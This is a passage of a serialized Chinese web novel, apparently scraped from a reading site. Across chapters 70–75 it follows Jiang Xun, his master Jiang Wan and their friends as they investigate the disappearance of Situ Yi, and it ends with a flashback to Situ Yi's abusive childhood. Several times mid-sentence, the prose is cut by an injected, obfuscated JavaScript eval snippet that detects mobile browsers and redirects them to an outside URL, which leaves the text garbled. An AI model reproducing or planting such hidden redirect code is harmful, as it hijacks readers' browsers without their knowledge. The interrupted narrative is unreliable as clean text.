“冬苓!” 被叫到的姑娘回头望了过来,在看清来人是谁后立马笑了起来,起身同身边人说了几句后就张开胳膊跑了过来。 秦在锦本以为冬苓是想冲过来抱他,所以他回抱的姿势都准备好了,可冬苓却直直越过他抱住了身后的江洵。 哈???? 嗯? 在江洵还没缓过来发生了什么的时候,就听到身旁的姑娘在他耳边说了句:“在上荷,要万分小心。”随后就松开了江洵,笑着问:“你们怎么在这儿呀?”这风轻云淡的表情,好 似刚刚的那句只是江洵的幻听。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第70章 管够 不一会儿,一位长相温婉的女子走了进来,步伐轻盈而优雅,一袭洁白的衣裙,给人一种楚楚可怜却又清新脱俗的感觉。其腰间挂着一枚精美的玉兰花玉坠,着她的走动轻轻摇曳,散发出淡淡的光芒,更增添了她的高雅与婉约。她抬起手,轻轻地将鬓间的发丝拨到耳后,看到冬苓后皱了下眉。 “我跟朋友叙叙旧,不耽误任务的,可以吗?”冬苓立马坐的端正了一些。 “无妨。”那人没再多说别的,而此时坐在后面的那桌人在看到她以后立即站起了身,齐声喊道:“少主!” 少主??? 相月山的少主????许歆!!! 秦念淑突然想到什么,偏头看了她一眼,可好巧不巧,而许歆此时也在盯着秦念淑打量。 这眼神看的秦念淑心里顿时咯噔一下,“天老爷,她不会把我情敌了吧???” “许久不见,秦姑娘一切可好?”许歆率先开了口。 秦念淑尴尬的笑了一声,“挺......挺好的。” “亦行他,没同你一起么?” 这话问得,秦念淑一时不知如何回答,但最终还是如实回道:“他有事,先走了。” “是吗?”许歆听到这句话,虽然皱了皱眉,但也没有多说什么,随后又看向了一旁的江挽,“江阁主的眼睛是……” “这个是我最近新研究的一种药,有利于宁神醒目,让挽挽帮我试一下效果如何,许姑娘若是需要的话,我也可以送你几条。”秦念淑边说边又掏出了几条新的白纱。 许歆摇摇头,表示自己目前并不需要这个,婉拒后便走到她们身后那桌坐下。 秦念淑松了口气,看了一眼坐在身旁的江挽,发现她正在埋头吃饭,似乎完全没有受到刚才的事情影响。秦念淑凑过去轻声说道:“许歆!她可是相月山的许歆!” “嗯,听出来了。”江挽碗里的菜已经吃完,江洵立刻又给她夹了一些添上。 秦念淑听到这句回答后,悬着的心终究是死了。 沈亦行啊沈亦行,你还真是单相思啊! 几人吃完饭后就打算先去流芳斋看看,临走的时候,秦在锦问道冬苓,“你要跟我们一起去吗?” 冬苓有些纠结,毕竟自家少主还在这,她却跟着别人走,这算什么事儿。但身后吃饭的许歆听到后头也不回的说了句:“眼下无事儿,就跟着去玩玩吧,晚上记得早些回来。” “谢谢少主!弟子保证早些回来!”冬苓转身拽着秦在锦他们出去了。 流芳斋离这家饭馆儿并不远,过条街就是了。已经这个时辰了,那店铺的门口却依旧排满了人,果真如冬苓一开始所说的那般生意红火,于是他们四个少年人跑过去排队,江挽和秦念淑则随便找了个地方坐着等他们。将近等了半个时辰,才排到江洵他们。 江洵看着眼前琳琅满目的糕点,一时之间不知道该如何选择。这时候身后的傅霖走上前指了柜台上的荷花酥和云片糕说道:“我要这个,还有这个!” 江洵侧头看了他一眼,心想:你要就要,跟我说做什么?这店又不是我开的。 许是身边人没有回话,傅霖继续说道:“师兄跟你说话呢,你听到没有。” “哈???” 江洵十分不解。 “怎么?师兄帮了你那么多次,请师兄吃些糕点不过分吧?”傅霖一脸坏笑地看着江洵,修长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170818|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手指对着那两种最贵的糕点晃来晃去,完全不像是开玩笑。 江洵眉头微皱,语气有些不悦:“你只能选一个。” 傅霖见状,嘴角微微上扬,调侃道:“师弟莫不是钱不够?若是钱不够那只能给你师父买一阵子的桂花糕,可买不了一辈子。” 江洵冷哼一声,转过头去不再看他,冷冷地回应道:“你一个都没得选。” 傅霖并没有因为江洵的态度而生气,反而笑着继续说道:“哎呀,别生气嘛!师兄有钱,要不师兄借你?只要师弟开口,莫说一辈子,就是两辈子也管够。” 然而,江洵并没有领情,只是淡淡地回答了一句:“不了,命里没有的东西,我向来不强求。” “......” 傅霖这下终于安静了下来,没再说话。只是当他跟老板要了荷花酥和云片糕打算付钱的时候,那老板连忙摆手说道:“前面的那位小公子已经帮你付过啦!” 傅霖闻言怔愣了一瞬,接过点心后低头笑了一声。 瞅瞅,他师弟就是这么嘴硬心软。 冬苓等江洵出来后问他道:“你师父几年前可有去过南华城?” “不清楚,我两年前才入阁。”江洵将桂花糕小心的捧在手上,生怕人多一不留神儿就给他挤碎了。 冬苓歪着头作出一副思考的样子,“可我真的觉得曾经见过她,她给我一种很熟悉的感觉。” “看来你睡眠质量确实不怎么样,得让你锦哥儿给你开几副安神的药。”江洵一本正经的回。 冬苓听出来这话是在损她呢,但一时之间又不知道该如何骂回去! 这章没有结束,请点击下一页继续阅读! 第71章 景明 江洵站在罗汉床前,微微皱眉,伸手指向前面的罗汉床,语气有些疑惑地说道:“这里的垫子是不是少了一个?”按照这个尺寸来看,应该摆放着两个垫子,但现在却只剩下一个,东倒西歪的铺在那里。 司徒信听到江洵的话后,连忙走上前去查看,然后肯定地说道:“原本确实是有两个的,这玩意儿还是我去年路过此地时给小意买的。可另一只去哪里了?”说完,他便开始在房间里四处寻找,甚至连床底儿都翻了一遍,但就是没有找到另一只丢失的垫子。 “别急,总不能是它自己长腿儿跑了。”江洵安慰道,显然他的这句话起不到一丝一毫安慰的作用。 秦念淑走向屏风后面,那里还放着一个浴桶,只是桶中的水已经所剩无多。于是她又绕着浴桶走了一圈,仔细观察,终于在接近底部的地方发现了一个豁口。这个豁口的表面比较平整,看起来更像是被利器砍开的,而不是自然破裂。 秦念淑转头对众人说道:“房间里的水应该就是从这里流出来的。” 秦在锦拦住了还在四处寻找垫子的司徒信,神情严肃地说道:“司徒公子,我看你还是尽早儿报官吧。这场面怎么看都不像是令妹自己离开的。” “先问一下住在左右的邻居,若是真的曾跟人发生了争执,那天晚上闹出的动静估计会惊动到住在附近的人。”傅霖说。 “晚上??”秦在锦疑惑了一下。 “当然也有可能是早上,不过洗澡的话,一般人都会选在晚上吧。”傅霖指了指屏风后的浴桶。 可有一点让傅霖想不通,一个明知道小腿受了伤的人,会不顾伤口感染的情况去洗澡吗?况且还是泡澡。而这桶中水的颜色,不像是有血液渗在里面的样子。 他们轻轻地敲响了邻居家的门,片刻后,一个年轻的小姑娘跑过来打开了门。她好奇地上下打量着眼前的众人,眼中透露出一丝警惕,然后轻声问道:“各位敲门可是有什么事情吗?” 秦在锦上前一步,温和地说道:“小姑娘,我们想向你了解一下情况。前两日或者前三日晚上,你可曾听到旁边这一户人家传出任何打斗或争吵的声音?” 小姑娘微微皱起眉头,思考片刻后回答道:“嗯……好像确实有听到一两声,但当时我并没有太在意。毕竟司徒姐姐受了伤,如果是在夜里起身时不小心打碎了杯子或者撞到了椅子,那也是很正常的。” 司徒信听到这里,急切地问道:“你怎知她受伤了?” 小姑娘笑了笑,解释道:“因为她回来的那天我去找过她呀!她平时非常喜欢吃我阿娘做的米糕,所以那天阿娘做好后,就让我给她也送过去一些。” 秦在锦紧接着追问:“那么,你去的时候,她家中可还有其他人在?” 那姑娘立即回道:“有哎,那天春和姐姐也在,我记得她还劝说司徒姐姐去她那儿住几日呢,说是好方便照顾她,再不济她搬过来住也是一样的,可是被司徒姐姐拒绝了。” “那你可知春和姑娘家住何处?” “就住在这里呀!”那小姑娘踮着脚朝司徒家后面的那房子指了指,“她这几年不怎么跟父母住,都是自己来这里住的。” 江洵看着两家的距离,心中暗自思忖:这未免有些太近了……仅仅只有一墙之隔。 这个时辰,刘春和家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170819|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中并没有人,秦在锦接连敲了三次门,都没有听到里面有人回应的声音。 “看来我们只能晚点再来找她了。”秦在锦看向其他人说道。 于是众人便先转道前往方景明家。 方景明看到司徒信带着人过来的时候有些惊讶,但还是很快就转换了表情,他没有问来人是谁,而是一脸担忧地问起司徒信:“司徒兄可是有什么新的消息了?” “我们认为,小意是被人带走了。”司徒信叹了口气,脸上露出一丝担忧之色。 “怎么会?!莫不是那些没有逮捕归案或刑满释放的罪犯在得知小意受伤一事后,伺机报复?”方景明皱起眉头,语气严肃地问道。他有气无力的躺卧在床上,面色苍白如纸,显然是身上的伤还没有恢复好。而父母又忙于流芳斋的事务,无暇顾及他,导致他现在身边连个照顾的人都没有。 “不排除这个可能。”秦在锦沉思片刻后,缓缓开口道。 听到秦在锦的话,方景明才像是突然注意到这几个人一样,连忙说道:“还没来得及向司徒兄询问,这几位是?” “哦,他们都是我在江湖上认识的朋友,此次途经此地,听闻家妹受伤的事情,特意前来探望一下。”司徒信简单介绍了一番,但并未提及这些人与金益冬有关。不知为何,他并不想让方景明知道这些人的真实身份。 而其他几人也心领神会,没有戳破司徒信撒的一个小谎。 冬苓十分自来熟的找了个椅子坐了下来,而后朝躺在床上的方景明问道:“我想问方公子一个比较私人的问题。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第72章 垂怜 “手该换药了,我去拿药箱,你先别睡。”秦念淑看江挽回房后,跟上来说道。 江挽点了点头,进门以后便没再关门。 她想着自己先把缠在掌心的纱布扯下来,省的一会儿还要麻烦秦念淑。 这边刚摸索着拆掉,那边就有人敲门了。江挽还以为是秦念淑来了,头也不抬的就让人进来了。 只闻得一阵淡淡的香气,她才朝着香味儿的源头望去。只见江洵小心翼翼地捧着一盒绿豆酥走了过来,“我看师父方才都没怎么动筷,就去对面铺子买了些糕点,您晚上要是饿的话就吃……” 他糕点刚放下来,就看到江挽手上的伤口,还有桌子上沾满了血的纱布,面色大变:“师父手上这伤是怎么弄的?今早儿就看到了,但秦姐姐一直在你身侧,弟子也没寻着机会问。” “不碍事,就是不小心划到的。买的都是什么吃的?”江挽凑上前笑着问。 江洵看着她手上那么长的一条伤口,哪里还能信这是不小心划出来的。但见她有意隐瞒,自己也不便多问,只能暂时将这件事放下。 “太晚了,已经没有桂花糕卖了。就买了绿豆酥,师父将就吃一些。”说着,江洵给江挽倒了一杯水放在她手边。 他想起冬苓今天说的那番话,不禁皱起眉头,心里有些担心。于是,他又把那杯水收了回来,从怀里掏出弥生符轻轻放在桌上试了一下。当他把水倒在符纸上时,转眼间符纸就变得漆黑如墨。 江洵怔愣了一瞬,又快速地掏出另一张符纸,在换了个位置后再次往上面倒了些水,然而这次符纸的颜色并没有发生任何变化,水依然还是清澈透明的。 “怎么不说话了?”江挽歪着头好奇地问道,由于她晚上戴着那条白纱,所以无法看到江洵刚才的举动。 “师父……”他说这两个字的时候声音有些颤抖,仿佛要把所有的情感都倾注在其中,“师父会一直是我师父,也永远都只是我师父。” 江挽听到这句话后,微微低下头去,嘴角露出一缕笑意。她轻声问道:“怎么突然这样说?” 他似乎意识到自己的失态,连忙收拾好情绪,“因为我不想你再收别的徒弟。”说完,他迅速收走了那两张用过的弥生符,然后顺手将桌子上的水渍擦拭干净,接着重新倒了一杯水递给了江挽。 江挽接过水杯,说道:“是在想下午那个小孩儿么?你放心,我不会随意地将人带回山里,以后也不更打算再收徒弟。” 江洵听了这话,心里稍微安定了一些,但还是忍不住嘟囔着说:“可是师父当时带我回去,不也是因为心软吗?” 江挽无奈地笑了笑,解释道:“不是的,在带你回来之前,我也曾遇到过很多身世可怜的孩子。但最终选择了你,并不是因为同情或者心软。” 江洵眼眸一亮,追问道:“那为何独独……” 救了我。 “因为你是江洵啊。”那声音清脆而又带着笑意,仿佛穿越了时间,又回到了他们最初相识的那一刻。哪怕隔着层白纱,但江洵还是看到了白纱下的那双眼睛的轮廓,笑的弯弯的。好似透着一丝狡黠,但却又不失温柔和善良,一如当年赐予他名字的那个瞬间。 “聊着呢?”秦在淑的声音突然响起,她拿着药箱站在门口,轻轻地敲了敲门,然后也没等江挽让她进来,就这么大大咧咧地走了过来。 “怎得自己拆了?”秦念淑看着江挽手上已经被拆开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170820|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纱布,眉头微皱,语气中透露出些许不满。 江挽不好意思地挠了挠头:“想替你省些力。” 秦念淑冷哼一声:“你少做些伤害自己的事儿就是替我省力了。阿洵,等你们回献岁山以后,你可得帮我多盯着点,这白纱最好是天天带,还有,除非万不得已,就莫要再让你师父吃药了。旁人若是问起,你就说你师父是在我苦苦哀求下心软了替我试药的。”她一边说着,一边就着烛光低头认真地上药,同时还不忘叮嘱江洵几句。 “好的阿姐!”江洵一口答应了下来,过一会儿自知站在这儿也帮不上忙,就先回房休息了。 江挽不知道秦念淑为何不惜破坏自己名声也要替她隐瞒病情,但这份人情,她在心里记下了。 “鞋袜脱了,我看看脚踝。” 她早年跟着秦方礼四处行医的时候,见过这种白斑病的孩子,大多从生下来就被家里人当成是怪物,要么偷偷扔掉,要么接生下来就被掐死了。 很少有平平安安长大成人的,今天这孩子想必也是家里丢弃的可怜人,只是那孩子好像同她之前见过的那些又不太一样。晒到太阳时她没有表现出有任何不适的不适感,身上也没有看到晒伤的痕迹。 她一下午都在考虑要不要把那孩子带回阳春门养着,可回去的时候路过那个巷口时,孩子已经不知所踪了。 看来天意如此,她难得善心大发一次,人家却不给她这个机会。 她低头看着江挽的小腿,纤瘦的脚踝处一大片青紫的淤痕,尤其是那几个手指印让人看着触目惊心,“那娃娃都瘦的皮包骨头了,怎得力气还这般大?” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第73章 春和 就在这时,一直沉默不语的江洵突然开口问道:“请问,我可以进入这间书房查看一下吗?”得到了柳春和的同意之后,他轻轻掀起帘子,走进了房间。 当他踏入房门的那一刻,目光首先被挂在墙上的一幅画像所吸引。早晨的阳光透过窗户直射在画像上,仿佛给画上的人物注入了生机与活力。画中的女子站在花丛中,笑容灿烂如春花绽放,几只蝴蝶在她身边翩翩起舞,宛如仙境一般。只是她的眉眼之间竟然和昨天所见的司徒信有些相似之处。 这间书房空间并不宽敞,尽管书架和书桌摆放得较为整齐,但仍然让人感到有些拥挤。江洵不禁想起昨天自己曾经去过司徒意的书房,那里的布局与这里大相径庭,不过却给人一种明亮开阔的感觉。 “那画像上的女子是司徒姑娘么?”江洵从书房出来后,开口问道。 “是,那是我画的。”她似乎是想到了什么,双眸一动,嘴角微微上扬,语气也随之温柔了许多。 “方公子受伤一事你可知道?” “知道,伤他的那个人还是我抓进大牢的。”柳春和点了点头,然后猜到了秦在锦问这话的意思,又继续说道:“这两日太忙了,那伙盗匪的头目还没抓着儿,司徒又下落不明,我目前也抽不出什么时间去看他。” “听方公子说你跟司徒姑娘关系很好,那为何,她却不愿意让你照顾她几日呢?只是怕麻烦你么?” “不是,因为那天我们俩吵架了,她在生我的气,所以不想我去照顾她。”柳春和叹了口气,有些无奈地摇了摇头。 “哦?你们因何吵架?”江洵好奇地问道。 “她想等这段时间忙完以后,就离开春平。我不想让她走,于是就吵了起来。” 冬苓听后走到门边,一屁股坐在了门框上,双手撑着脸颊,好奇地问:“那她有没有说离开这里之后要去哪儿呢?是不是要回南华城啊?” “她只是说想去其他地方走走看看。” 冬苓疑惑地看着她,不解地问:“既然如此,你又为何不同意呢?你们不过是朋友关系而已,司徒有权利决定自己何去何从。” 柳春和猛地抬起头,目光直直地盯着冬苓,眼中透露出一丝凶狠与不满。她语气狠厉地说:“我就是不同意!我就是不想让她离开春平半步!” 此时,一直坐在椅子上默默观察的傅霖突然瞪大了双眼,露出了惊讶又充满趣味的神情。他似乎明白了一些事情,心中暗叹:“这案子,竟然变得有趣起来了……” 秦在锦看着她情绪如此激动,便立刻转换了话题:“关于司徒失踪这件事,你有没有什么线索或者想法呢?” 柳春和皱起眉头,思索着回答道:“也许是那些强盗干的吧。他们这伙人最近一直在附近抢劫和偷窃,如果有人不小心撞到他们在行窃,他们甚至会动手伤人。这些天我也一直在调查这个案件,但是目前还有一个头目没有找到,我怀疑小意就是被他们带走的。” 秦在锦有些疑惑地说:“可是我观察过司徒家,似乎并没有什么特别贵重的物品。” “虽然她自己住的小房子里没什么值钱东西,但她在南华城的哥哥那里却很有钱。如果他们绑架了小意,然后以此来敲诈勒索她的哥哥,那么他们一辈子都可以衣食无忧了。” 她的这番话听起来非常合理。强盗闯入司徒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170821|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家后,经过逼问得知她有个做生意的哥哥,于是决定将她绑走,同时向远在南华城的司徒信传递消息,要求他准备好赎金。这样一来,强盗们只需等待收钱就行了。 可若是这样,那为何只有卧房显得凌乱不堪呢?书房理应也会留下被翻找过的痕迹才对啊!然而,司徒意的书房却干净整洁,丝毫没有被人翻动过的迹象。 柳春和与方景明这两个人表现得异常冷静,让人不禁怀疑:到底是他们天性如此,还是他们其实早就知晓司徒意的下落,而此刻正在向众人撒谎呢? 一个把司徒意的肖像画堂而皇之地挂在自己家的书房里,另一个则言之凿凿地声称对司徒意一见钟情。 无论从哪个角度来看,他们对司徒意的失踪似乎都不像常人应有的反应。即便是丢失了一只长期饲养的宠物,人们也应当流露出些许紧张和忧虑之情啊! “各位还有其他问题吗?我稍后还需要前往衙门处理事务。”柳春和满脸不耐烦,仿佛巴不得立刻将众人赶走。 “抱歉打扰了,还望柳姑娘海涵。”秦在锦向她行了一礼,表示歉意。 众人走出房门的时候,突然听到了书房里传出了咚的一声,像是有人在拿东西撞墙的声音。还没等他们询问,柳春和就起身朝隔壁的房子喊了一句:“大早上就别玩球了,怪吵人的。” 说罢,就头也不回地钻进了书房中,同时还不忘关上了门。 几人走到一个早点摊子前,点了几碗抄手。“这三人当真关系好吗?我怎么觉得不是多好呢?”秦在锦右手撑在桌子上,托着下巴呢喃道。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第74章 密室 “洵儿,一会儿打算去哪啊?”秦在锦一脸好奇地问道。 “司徒家,我想再去确认一件事。”江洵微微皱眉,脑海里不断浮现出那间令他感到拥挤的书房画面。他实在无法理解为何在布局相似的情况下,两个书房却会给他带来如此不同的感受。除非司徒家的占地面积比他想象中的还要大,否则那个书房绝对不仅仅是一个普通的书房那么简单。 于是,四人决定再次返回司徒家。当他们到达时,原本以为家中无人,便没有敲门,毕竟这里的院门大开。可当他们进入房间后,却意外地发现床上躺着一个人。待走近仔细一看,才惊讶地发现这人竟然是司徒信。 或许是感觉到有人靠近,床上的人陡然睁开双眼,待看清来者何人之后,才放下心中的警惕。 “抱歉,在下私以为司徒姑娘尚未归来,家中应该无人,故而冒昧前来。希望司徒公子不要见怪!”秦在锦那双灵动的眼眸快速转动着,脸上露出歉意的笑容,并立刻向对方道歉。毕竟他们几人未经允许擅自闯入他人家中,无论从哪个角度来看,都是他们做得不对。 司徒信揉了揉酸涩的眼睛,示意并无大碍。昨天夜里,他跟随金益东的手下四处寻找,一直忙活到天亮;清晨时分,他又马不停蹄地去会见了那几个盗匪。此刻,他终于合上疲惫的双眼,稍稍打个盹儿。唯一让他感到宽慰的是,据出城的守卫所言,最近几天并未见到有腿脚不便的年轻女子出城,也未发现任何可疑人物在附近游荡。因此,可以确定司徒意目前仍在春平县内。 然而,当江洵详细阐述完自己的观点后,司徒信却突然问道:“你方才说柳春和的书房里挂着小意的画像?” 江洵一脸茫然,心中暗自嘀咕:大哥,重点难道不应该是书房的大小吗? 司徒信也自知那句话有些偏移了重点,咳嗽了一句说道:“两家房子的占地面积都是相同的,小意初来此地时还是我陪着去租的房子,她当时还在纠结租在哪里,最终定下来这一户也是因为光线要更好一些。” “那就奇怪了。” “能否带我去看一看?”司徒意一边说着,一边迅速下床穿上鞋子。 此时此刻,柳春和想必已经前往衙门办公,若要进入书房,恐怕只有翻墙而入这一个办法了。 秦在锦站在门口有些犹豫,本想要推门的手却抬高了一些,转为了敲门。毕竟他意想到刚才发生的事儿,就觉得还是应该礼貌性地敲敲门。 只是没成想,柳春和眼下居然在家。 秦在锦不免心中暗自松了一口气,还好他敲门了,否则像刚才那样再无缘无故地闯进去,那可就真的说不清了。 门开后,看到是刚刚离开没多久的那群人,柳春和的脸色变得非常不耐烦。"秦公子,你们还有什么事吗?" 秦在锦尴尬地笑了笑,抬起手介绍道:"这位是司徒姑娘的兄长——司徒信。听说柳姑娘家中收藏的有她妹妹的肖像画,特意过来欣赏一下。"他并没有直说他们是来看书房的。 身后的司徒信急忙上前接话道:"在下常常听小意在信中提起到你,本来昨儿个就来拜访过一次,但不巧的是姑娘那时不在家。今日又听闻你这里有小意的肖像画,而且画得栩栩如生、惟妙惟肖,你看能否……借给在下看上一眼呢?" 柳春和现在即使想拒绝也不好多说什么了,毕竟人家都把这层关系搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170822|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。她还有什么理由阻止人家哥哥看自家妹妹的肖像画呢。于是便面无表情的往后退了两步,让他们进门了。 几人多做寒暄,而是径直往书房走去,傅霖则走在这群人的最后面,看人都进去后,他才一跃跳上了屋顶。 这果真如江洵所说,无论是左侧的厨房还是正中的堂屋及卧室的位置,都是和司徒意家是相对称的。就连院里的那口水井,位置都一模一样。那么有问题的就是这个书房了,莫不是柳春和在书房里藏了个密室? 江洵盯着画上的女子,突然发现有些不对劲儿,头也不回的问道:“这幅画……是什么时候画的?” “七月中旬。”柳春和依靠在书房门口,没有进去。 奇怪,明明七月份正是一年里天儿最热的时候,怎得司徒意中衣的领口还穿的那么高?她不...... “她不热吗?”冬苓用手指着画里的衣服说道。 江洵听到这句话欣慰的笑了,瞅瞅!我们苓儿还是这么敢说! 只是还未等柳春和开口,离画最近的司徒信就开口道:“自然是热的,只是小意的脖子上有道疤痕,她为了掩盖那处,便一直都这样穿。” 冬苓点了下头,没去追问那疤痕的由来,只是刚想去碰那幅画的时候,被柳春和一个箭步冲过来制止了。“姑娘是想做什么?” “自然是想摘下来近距离地欣赏欣赏呀!”她眨着眼睛,脸上带着一丝调皮的笑容。 “你可以靠近欣赏,但万不可摘下来!”柳春和的语气有些生气,显然是不想让冬苓去碰这幅画。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第75章 司徒 若提起南华城中的富商巨贾,那么以经营丝绸生意发家致富的司徒家必然是其中翘楚。司徒氏祖孙三代皆从事商业活动,如今家族产业已由其长子司徒信全面接手。 说来奇怪,司徒流枫虽有两位平妻和数房妾室,膝下子女众多,却仅有一个儿子,其余皆是女儿。据曾经在他家做工的奴仆透露,此前也曾有姨娘生下儿子,但不知为何都早早夭折。至于那些幸存下来的女儿,有的头脑简单,大字不识;有的则深居简出,身体孱弱。 司徒流枫即使有意将家产分给其他子女,也担心她们是否能够守住家业。这不,司徒意便是一个鲜活的例证。当初司徒流枫给了她几家成衣铺子让她学习管理,结果没过几天便闯出大祸,有人投诉称她出售的布料导致顾客皮肤过敏,愣是赔了医药费以后又赔了几匹上等的好布料才得已罢休。 不出月余,又有人找上门来,说他卖出去的布匹好坏参半,要找他理论。对方言辞激烈,情绪激动,甚至动起了手。要不是司徒信及时赶到,他这铺子恐怕都会被人砸了。 从那以后,司徒流枫就不准他再插手铺子的事儿了。无论是有人故意找茬,还是他真的有过错,司徒流枫都没有要深究的意思,只是觉得这不过是几个小钱而已,主要目的是想看他是否具备打理铺子的能力。 夜幕降临,司徒意拖着疲惫的身躯回到家中。然而,她还没来得及喘口气,就被四姨娘一把抓住,拖进了房间。四姨娘眼中燃烧着怒火,手中拿着一根木棍,狠狠地抽打在司徒意身上。每一下抽打都伴随着四姨娘愤怒的责骂声:“我好不容易才让你爹松了口,允许你插手铺子的事儿,可你却搞成这样!不到一个月就被赶回了家,你脑子里一天天的到底在想些什么啊!” 司徒意强忍着疼痛,紧紧捂住胳膊上的伤口,但眼神依然倔强不屈。他抬起头,直视着四姨娘,声音坚定地说:“那阿娘呢?您又在想些什么?难道您就不关心一下我身上的伤吗?” 四姨娘听了这话,冷笑一声,眼中闪过一丝不屑。她停下手中的动作,冷笑道:“那几个人怎么可能是你的对手,分明是你故意不还手!小意,阿娘护你这么多年容易吗?你想想默儿,他才多大啊?就被那毒妇活活淹死了。” 司徒意微微一怔,心中涌起一股悲痛。她想起了那个素未谋面的哥哥,心中充满了对阿娘失望。但他并没有表现出来,只是平静地看着四姨娘,缓缓说道:“护我的从来都不是阿娘……” 说完这句话,司徒意不再理会四姨娘,转身就要起身离开。她的步伐坚定而决绝,仿佛已经下定了决心要摆脱这一切束缚。可四姨娘哪肯就这样让他走,又是一棍子狠狠敲在了他的后背上,打得司徒意一个措手不及,一口血吐在地上半天都没缓过劲儿来。 司徒意呆滞的看着眼前陌生又熟悉的人,他总是能从阿娘的脸上看到这样的表情,厌恶却又无可奈何。 他曾有个哥哥,在他还未出生时便已离世。据下人们说,是在水边玩耍时不慎失足落水溺亡的。对于这位早逝的兄长,他并未有太深的情感,毕竟他从未与那个人谋面。 自他出生之日起,他所穿戴的衣物皆是女子的款式,连头发也梳理成女孩子的模样。他并未察觉有何不妥,因为阿娘自幼便告知他,他是女孩,因此言行举止需得有大家闺秀的风范。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“兄长若是喜欢,连我这条命都可一并拿去。”他说这话时,不卑不亢,丝毫没有一丝的落魄感。哪怕是被打断腿跪在地上,那脊背也挺得直直的。一如当初司徒信第一次见到他的那般,众多妹妹里,只有他在得到他赏赐的糕点时,平静的接下、道谢、告辞。 没有谄媚,更没有敬畏。 司徒信阴鹜的盯着那人,宽袖下的手死死攥紧,他的小意不听他话了。 “打晕了捆起来扔车上。”司徒信吩咐着一旁的人,率先骑马走了。 俗话说得好:“光脚的不怕穿鞋的”,这句话用来形容司徒信和司徒意之间的关系再合适不过了。尽管司徒信使出浑身解数,却依然无法阻止司徒意的决定。最终,司徒意还是陪着司徒信一同前往栖花里,并在那里小住了数日。 起初,司徒信认为只要等司徒意气消后,他们便会返回原处。然而,司徒意似乎完全没有离开的意思,反而开始打听这里是否有房屋出租,表示想要在此定居。这让司徒信气愤不已,他心想:“我他娘的好吃好喝的伺候着你,你倒好!一天天的净想着怎么甩掉老子!” 这能忍? 这必不能忍! 仅仅几天时间,司徒信便目睹许多姑娘购买芍药送给司徒意。据传闻,当年的林若生也是以芍药作为礼物赠予江言庭,因此这里的姑娘们为了向心仪之人表达爱意,纷纷效仿,默默地送上一枝芍药。 得知这个真相后,司徒信又气得整晚都无法入眠,而他睡不着,司徒意自然也别想睡个好觉。 然而,从南城寄来的信却一封接一封地催促着他尽快回去接管家中生意。这让他感到十分烦躁,因为他担心一旦离开这里,司徒意可能会背着他偷偷结婚生子。于是,他决定坐下来与司徒意好好谈谈,并告诉他:“如果你想留在这里,可以;如果你想去那个破旧的衙门当一个小小的衙役,也没问题。但是,我有一个条件,如果你不同意,那么我们之间所有的事情都将无法商量。” 